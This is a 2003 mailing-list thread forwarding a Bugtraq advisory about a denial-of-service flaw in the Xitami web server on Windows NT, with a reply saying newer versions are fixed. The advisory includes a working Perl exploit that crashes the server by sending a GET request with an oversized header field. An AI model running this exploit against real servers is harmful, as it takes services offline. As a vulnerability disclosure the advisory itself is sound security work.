[Xitami] Fwd: Denial of service vulnerability in Xitami Open Source Web Server

[patricko]

This was fixed a long time ago that is way newer versions are available just
ran this test and no problems here


----- Original Message ----- 
From: "Josh A" <beta@coaxial.ca>
To: <xitami@lists.xitami.org>
Sent: Monday, September 22, 2003 10:16 AM
Subject: [Xitami] Fwd: Denial of service vulnerability in Xitami Open Source
Web Server


|
| -----Original Message-----
| From: Oliver Karow <Oliver.karow@gmx.de>
| To: bugtraq@securityfocus.com
| Date: Mon, 22 Sep 2003 14:28:05 +0200
| Subject: Denial of service vulnerability in Xitami Open Source Web Server
|
| Denial of service vulnerability in Xitami Open Source Web Server
| ================================================================
|
| Date: 22.09.2003
| =====
|
|
| Affected Systems
| ================
|
| The vulnerability was discovered on several versions (production and
| beta) of Xitami
| webserver for Windows NT:
|
| - Xitami 2.5B4 (bw3225b4.exe)
| - Xitami 2.5B4 (bs3225b4.exe)
| - Xitami 2.4D9 (bw3224d9.exe)
|
| I did no tests with the other versions and os/platforms (OS/2, Alpha,
| OpenVMS, Unix).
| Therfore i can't confirm that the vulnerability exists there.
|
| The Problem
| ===========
|
| Xitami is a multiplatform open source web server and the flagship of
| iMatix.
| The services crashes when it receives a http get request (to a .shtm
| file) with
| a header field of >= 5154 bytes, followed by a ":".
|
| Xitami dies due to a Microsoft Visual C++ Runtime Error, an
| abnormal program termination inside XIWIN32.EXE has occurred.
| The message is *not* followed by any Win32 exception dialog.
|
| Vendor:
| =======
|
| iMatix was informed about the vulnerability on 04.09.2003 and 05.09.2003
| via email.
| Up to now, i did not receive an answer from iMatix :(
|
| You can visit the vendors webpage here:
|
| http://www.ximati.com
| http://www.imatix.com
|
| Other Notes
| ===========
| Unlike some server crashes, the service process will *not* recover from
| the crash
| caused by the attack.
|
| Successful exploitation of this vulnerability will NOT be logged, as the
| service crashes.
|
| It seems also not to be clear, what the actual production and beta
| release
| versions are.
| At http://www.xitami.com/download.htm, the current production is 2.4d9
| and the current
| beta is 2.5b5.
| At the same time, at http://www.imatix.com/html/xitami/index2.htm, the
| current
| production is 2.5b4 and the current beta is 2.5b4?!?
|
| Author:
| =======
| Oliver Karow (oliver.karow[at]gmx.de)
|
| Exploitation
| ============
|
| #!/usr/local/bin/perl
| #
| # Simple exploit for Imatix Xitami Webserver on Windows NT
| #
| # Sending a GET request for a *.shtm file with a header field of >= 5154
| bytes, followed by a ":",
| # will crash the service.
| #
| # Vulnerable versions:
| # - Xitami 2.5B4 (bw3225b4.exe)
| # - Xitami 2.5B4 (bs3225b4.exe)
| # - Xitami 2.4D9 (bw3224d9.exe)
| # - others?
| #
| # For legal purposes only !
| #
| # 22.09.2003 - Oliver Karow - oliver.karow[AT]gmx.de
|
| use IO::Socket;
|
| $ip="127.0.0.1";
| $port=80;
|
| $var="A" x 5157;
|
| $mySocket=IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$ip,
| PeerPort=>$port, Timeout=>5);
| $mySocket->autoflush(1);
|   print $mySocket "GET /test.shtm HTTP/1.0\r\n".
|         $var.": */*\r\n\r\n";
|
| @answer=<$mySocket>;
| $length=@answer;
| if ($length==0){die "\nService killed!\n";}
| print @answer;
|
|
| --
| Xitami Users Mailing List -- For Xitami support
| To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami